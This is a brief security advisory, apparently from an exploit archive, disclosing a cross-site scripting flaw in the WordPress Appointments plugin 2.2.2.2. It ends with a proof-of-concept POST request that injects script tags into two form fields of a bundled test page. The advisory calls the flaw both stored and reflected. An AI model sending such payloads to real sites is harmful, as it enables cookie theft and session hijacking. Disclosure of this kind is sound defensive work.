WordPress Appointments plugin version 2.2.2.2 suffers from a persistent cross site scripting vulnerability.
bd41bd6dcc873587a933738767ec2b11fe3a0b55eba9b913f34f1df3f495c5e0
Class Input Validation Error
Remote Yes
Credit Ricardo Sanchez
Vulnerable Appointments Plugin 2.2.2.2
Appointments Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:
Demo Request POST:
POST
/wordpress/wp-content/plugins/appointments/bower_components/jquery-ui-multiselect-widget/tests/visual/formsubmission.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
foo=<script>alert("XSS")</script>&bar=<script>alert("XSS")</script>